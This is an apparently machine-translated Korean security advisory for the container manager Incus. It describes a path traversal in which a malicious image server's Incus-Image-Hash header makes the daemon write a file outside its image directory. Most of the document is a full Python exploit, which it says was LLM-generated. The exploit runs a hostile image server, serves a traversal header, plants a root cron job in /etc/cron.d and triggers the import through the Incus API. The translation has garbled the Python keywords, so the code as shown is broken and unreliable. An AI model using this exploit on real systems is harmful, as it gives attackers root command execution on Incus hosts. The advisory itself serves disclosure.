Incus는 신뢰할 수 있는 이미지 해시로 인해 클라이언트에서 임의의 파일 쓰기를 수행합니다.
악성 이미지 서버가 조작된 Incus-Image-Hash 헤더를 반환하면 Incus 클라이언트에 임의 파일 쓰기가 존재합니다. 이로 인해 서버에서 루트로 임의의 명령이 실행될 수 있습니다.
cmd/incusd/images.go:611-684는 사용자 제공 URL을 HEADing하여 Incus-Image-Hash 및 Incus-Image-URL을 읽고 imageDownload()에 Alias 및 Server로 전달하여 source.type=url을 처리합니다.cmd/incusd/daemon_images.go:91-92는 fp를 호출자가 제어하는 별칭 문자열로 기본 설정합니다.cmd/incusd/daemon_images.go:333-335는 destName := filepath.Join(destDir, fp)를 빌드합니다.cmd/incusd/daemon_images.go:469-523은 direct 프로토콜 브랜치를 입력하고 os.Create()로 destName을 열고 HTTP 응답을 해당 파일에 복사합니다.cmd/incusd/daemon_images.go:528-532는 파일이 이미 생성되고 채워진 후에만 SHA-256의 유효성을 검사합니다.cmd/incusd/daemon_images.go:337-344 정리는 복사본이 반환된 후에만 실행됩니다. 느리거나 보류된 응답은 임의 쓰기 기간을 확장합니다.다음과 같은 내용을 반환하는 악의적인 이미지 서버는 임의 파일 쓰기를 유발합니다.
Incus-이미지-해시: ../../../../etc/cron.d/incus-direct-image-url-rce
Incus-이미지-URL: http://attacker/payload
아래 스크립트는 악성 이미지 서버를 생성하고 Incus 서버에 이미지를 가져오도록 요청합니다. 파일 쓰기는 이미지의 압축을 풀 때 발생합니다.
다음 스크립트는 LLM에 의해 생성되었습니다.
#!/usr/bin/env python3
"""임시 호스트 크론 쓰기에 대한 직접 이미지 URL 해시 경로 순회.
`source.type=url`의 경우 Incus는 먼저 공격자가 제어하는 URL을 HEAD하고 `Incus-Image-Hash` 헤더를 예상 지문으로 신뢰합니다. 그런 다음 직접 다운로드 경로는 해시가 다운로드된 바이트의 실제 SHA-256인지 확인하기 전에 `/var/lib/incus/images/<hash>`를 생성합니다. `../`를 포함하는 해시는 이미지 디렉토리를 이스케이프합니다.
기본 모드는 테스트 실행입니다. --execute-trigger를 사용하면 이 스크립트는 작은 HTTP 서버를 시작하고, cron을 가리키는 순회 해시를 반환하고, cron 페이로드를 스트리밍하고, 데몬 측 정리가 파일을 즉시 제거하지 않도록 응답을 열어 둡니다.
"""
__future__에서 주석 가져오기
인수 가져오기
http.client 가져오기
JSON 가져오기
수입 shlex
수입 소켓
SSL 가져오기
수입 시스템
수입 스레딩
수입 시간
urllib.parse 가져오기
http.server에서 BaseHTTPRequestHandler, ThreadingHTTPServer 가져오기
import Any를 입력하여
DEFAULT_SOCKET = "/var/lib/incus/unix.socket"
DEFAULT_TRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce"
클래스 UnixHTTPConnection(http.client.HTTPConnection):
def __init__(self, 소켓_경로: str, 시간 초과: int = 120):
super().__init__("incus", timeout=timeout)
self.socket_path = 소켓_경로
def 연결(자체) -> 없음:
양말 = 소켓.socket(socket.AF_UNIX, 소켓.SOCK_STREAM)
sock.settimeout(self.timeout)
양말.연결(self.socket_path)
self.sock = 양말
RCEHTTPServer 클래스(ThreadingHTTPServer):
hash_path: 문자열
광고_URL: 문자열
페이로드: 바이트
Hold_seconds: 정수
payload_requested: 스레딩.이벤트
클래스 DirectImageHandler(BaseHTTPRequestHandler):
프로토콜_버전 = "HTTP/1.1"
server_version = "직접 이미지-rce/1.0"
def log_message(self, fmt: str, *args: Any) -> 없음:
print(f"[http] {self.address_string()} - {fmt % args}", 플러시=True)
def do_HEAD(self) -> 없음:
self.path != "/stage"인 경우:
self.send_error(404)
반환
srv = self.server
isinstance(srv, RCEHTTPServer)를 주장합니다.
self.send_response(200)
self.send_header("Incus-이미지-해시", srv.hash_path)
self.send_header("Incus-이미지-URL", srv.advertise_url.rstrip("/") + "/payload")
self.send_header("연결", "닫기")
self.end_headers()
def do_GET(self) -> 없음:
self.path != "/payload"인 경우:
self.send_error(404)
반환
srv = self.server
isinstance(srv, RCEHTTPServer)를 주장합니다.
srv.payload_requested.set()
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("캐시 제어", "저장소 없음")
self.end_headers()
self.wfile.write(srv.payload)
self.wfile.flush()
print(f"[*] 데몬 응답에 기록된 페이로드 바이트; {srv.hold_seconds}s 동안 유지", 플러시=True)
시간.수면(srv.hold_seconds)
self.close_connection = 참
def quote(value: str) -> str:
urllib.parse.quote(value, safe="")를 반환합니다.
def tls_context(args: argparse.Namespace) -> ssl.SSLContext:
args.insecure인 경우:
ctx = ssl._create_unverified_context()
그 외:
ctx = ssl.create_default_context(cafile=args.cacert)
args.cert인 경우:
ctx.load_cert_chain(args.cert, args.key)
ctx를 반환하다
def 연결(인수: argparse.Namespace) -> http.client.HTTPConnection:
args.url인 경우:
구문 분석됨 = urllib.parse.urlparse(args.url)
parsed.scheme != "https"인 경우:
raise ValueError("--url은 https를 사용해야 합니다")
http.client.HTTPSConnection(
구문 분석된.호스트 이름,
parsed.port 또는 8443,
시간 초과=args.timeout,
컨텍스트=tls_context(args),
)
UnixHTTPConnection(args.socket, timeout=args.timeout) 반환
데프 request_json(
인수: argparse.네임스페이스,
방법: str,
경로: str,
obj: dict[str, Any] | 없음,
허용_오류: 부울 = 거짓,
) -> 튜플[int, dict[str, Any]]:
body = obj가 None이면 None, else json.dumps(obj).encode("utf-8")
헤더 = {"호스트": "incus"}
본문이 None이 아닌 경우:
headers["Content-Type"] = "application/json"
conn = 연결(args)
conn.request(메서드, 경로, 본문=본문, 헤더=헤더)
resp = conn.getresponse()
원시 = resp.read()
연결.닫기()
시도해 보세요:
data = json.loads(raw) if raw else {}
json.JSONDecodeError 제외:
data = {"raw": raw.decode("utf-8", "replace")}
Allow_error 및 (resp.status >= 400 또는 data.get("type") == "error")가 아닌 경우:
RuntimeError(f"{method} {path}가 HTTP {resp.status}: {data}"로 실패함)
resp.status, 데이터를 반환합니다.
def Images_path(프로젝트: str) -> str:
return "/1.0/images?project=" + quote(프로젝트)
def cron_payload(command: str) -> 바이트:
return f"* * * * * root /bin/sh -c {shlex.quote(명령)}\n".encode("utf-8")
def image_url_body(project_url: str, public: bool) -> dict[str, Any]:
반환 {
"출처": {
"유형": "URL",
"url": project_url.rstrip("/") + "/stage",
},
"공개": 공개,
}
def start_server(인수: argparse.Namespace, 페이로드: 바이트) -> RCEHTTPServer:
서버 = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler)
server.hash_path = args.hash_path
server.advertise_url = args.advertise_url
server.payload = 페이로드
server.hold_seconds = args.hold_seconds
server.payload_requested = 스레딩.이벤트()
스레드 = threading.Thread(대상=server.serve_forever, 데몬=True)
스레드.시작()
반환 서버
def main() -> int:
파서 = argparse.ArgumentParser(description="Incus 직접 이미지 URL 해시 통과 크론 RCE PoC")
parser.add_argument("--socket", default=DEFAULT_SOCKET, help="Incus Unix 소켓")
parser.add_argument("--url", help="원격 Incus URL, 예: https://host.ctf:8443")
parser.add_argument("--cert", help="원격 Incus에 대한 클라이언트 인증서")
parser.add_argument("--key", help="원격 Incus에 대한 클라이언트 개인 키")
parser.add_argument("--cacert", help="원격 Incus에 대한 CA 인증서")
parser.add_argument("--insecure", action="store_true", help="TLS 확인 비활성화")
parser.add_argument("--timeout", type=int, default=120, help="Incus 요청 시간 초과")
parser.add_argument("--project", default="default", help="이미지 가져오기에 사용되는 프로젝트")
parser.add_argument("--public", action="store_true", help="가져온 이미지를 공개로 표시")
parser.add_argument("--listen-host", default="0.0.0.0", help="HTTP 수신 주소")
parser.add_argument("--listen-port", type=int, default=8088, help="HTTP 수신 포트")
parser.add_argument("--advertise-url", default="http://127.0.0.1:8088", help="Incus 데몬이 연결할 수 있는 URL")
parser.add_argument("--hash-path", default=DEFAULT_TRAVERSAL, help="Incus-Image-Hash에서 반환된 값")
parser.add_argument("--hold-seconds", type=int, default=90, help="이 초 동안 페이로드 응답을 열어두세요")
parser.add_argument("--command", default="id > /tmp/incus-direct-image-url-rce", help="명령 크론이 실행되어야 함")
parser.add_argument("--execute-trigger", action="store_true", help="서버 시작 및 POST /1.0/images 트리거")
parser.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="--execute-trigger에 필요")
args = 파서.parse_args()
if bool(args.cert) != bool(args.key):
parser.error("--cert와 --key는 함께 제공되어야 합니다")
args.execute_trigger이고 args.yes_i_understand_this_writes_host_file이 아닌 경우:
parser.error("--execute-trigger에는 --yes-i-understand-this-writes-host-file이 필요합니다")
페이로드 = cron_payload(args.command)
Trigger_body = image_url_body(args.advertise_url, args.public)
print("[*] 기본 공격: 직접 이미지 URL 검증되지 않은 해시 경로 호스트 쓰기")
print(f"[*] 데몬에 제공되는 HEAD URL: {args.advertise_url.rstrip()}/stage")
print(f"[*]는 Incus-Image-Hash: {args.hash_path}"를 반환했습니다.
print(f"[*] 반환된 Incus-Image-URL: {args.advertise_url.rstrip()}/payload")
print(f"[*] 기본 Incus 디렉토리에서 이스케이프된 호스트 대상이 예상됩니다: /etc/cron.d/incus-direct-image-url-rce")
print(f"[*] 크론 페이로드: {payload.decode().rstrip()}")
print(f"[*] 트리거 본문: {json.dumps(trigger_body, sort_keys=True)}")
args.execute_trigger가 아닌 경우:
print("[*] 드라이 런 전용; 테스트를 위해 --execute-trigger 및 --yes-i-understand-this-writes-host-file을 전달합니다.")
0을 반환
서버 = start_server(args, 페이로드)
print(f"[*] {args.listen_host}:{args.listen_port}"를 수신하는 HTTP 서버
상태, 데이터 = request_json(args, "POST", Images_path(args.project), Trigger_body,allow_error=True)
print(f"[*] POST /1.0/images HTTP {상태}: {json.dumps(data, indent=2, sort_keys=True)}")
server.payload_requested.wait(timeout=min(args.hold_seconds, 30))인 경우:
print("[*] 데몬이 페이로드를 요청했습니다. cron 파일은 보류된 응답이 해제될 때까지 존재해야 합니다.")
그 외:
print("[!] 데몬이 대기 창 내에 페이로드를 요청하지 않았습니다.")
print("[*] 남은 보류 기간 동안 HTTP 서버를 활성 상태로 둡니다")
시간.수면(최대(0, args.hold_seconds - 30))
서버.종료()
서버.서버_닫기()
0을 반환
__name__ == "__main__"인 경우:
시도해 보세요:
SystemExit(main()) 올리기
BrokenPipeError 제외:
SystemExit(1) 올리기
제외 예외:
print(f"[-] {exc}", 파일=sys.stderr)
SystemExit(1) 올리기
루트 권한으로 클라이언트에 임의 파일 쓰기. 임의의 명령 실행으로 이어질 수 있습니다.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 99.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 99.00 |
VPI 공식 vpi-v1 기준